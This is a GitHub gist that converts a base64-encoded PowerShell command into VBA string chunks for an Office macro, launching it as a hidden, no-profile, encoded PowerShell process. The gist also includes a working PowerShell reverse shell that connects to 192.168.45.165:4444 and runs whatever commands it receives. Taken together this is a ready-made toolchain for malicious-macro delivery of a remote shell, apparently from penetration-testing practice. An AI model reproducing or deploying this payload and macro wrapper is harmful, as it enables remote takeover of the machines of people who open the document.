Skip to content

Instantly share code, notes, and snippets.

@plmi
Last active December 19, 2025 15:36
Show Gist options
  • Select an option

  • Save plmi/606130625b98e96e7c713e5cdd4a80e5 to your computer and use it in GitHub Desktop.

Select an option

Save plmi/606130625b98e96e7c713e5cdd4a80e5 to your computer and use it in GitHub Desktop.
Make a PowerShell script compatible to use in VBA (Microsoft Office Macro)
#!/usr/bin/env bash
# Description: Convert a base64 encoded PowerShell command to a VBA expression that bypasses the 255 character limit.
# Usage 1: cat reverse-shell.ps1 | iconv -t UTF-16LE | base64 -w 0 | ./powershell-to-macro.sh
# Usage 2: ./powershell-to-macro.sh -c "<base64 encoded powershell command>
set -euo pipefail
usage() {
echo "Usage: $0 [-c string]"
echo " echo 'text' | $0"
exit 1
}
# Must be UTF-16LE
COMMAND_BASE64=""
# Parse options
while getopts ":c:" opt; do
case "$opt" in
c)
COMMAND_BASE64="$OPTARG"
;;
*)
usage
;;
esac
done
# If -c was not provided, check for piped input
if [[ -z "$COMMAND_BASE64" ]]; then
if [[ ! -t 0 ]]; then
# stdin is being piped
COMMAND_BASE64="$(cat)"
else
usage
fi
fi
COMMAND_BASE64="powershell.exe -nop -w hidden -enc $COMMAND_BASE64"
COMMAND_LENGTH=${#COMMAND_BASE64}
LINE_LENGTH=50
for (( i=0; i<COMMAND_LENGTH; i+=LINE_LENGTH )); do
CHUNK=${COMMAND_BASE64:i:LINE_LENGTH}
echo "Str = Str + \"${CHUNK}\""
done
$client = New-Object System.Net.Sockets.TCPClient('192.168.45.165', 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = ([System.Text.Encoding]::ASCII).GetString($bytes, 0, $i);
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([System.Text.Encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush();
}
$client.Close();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment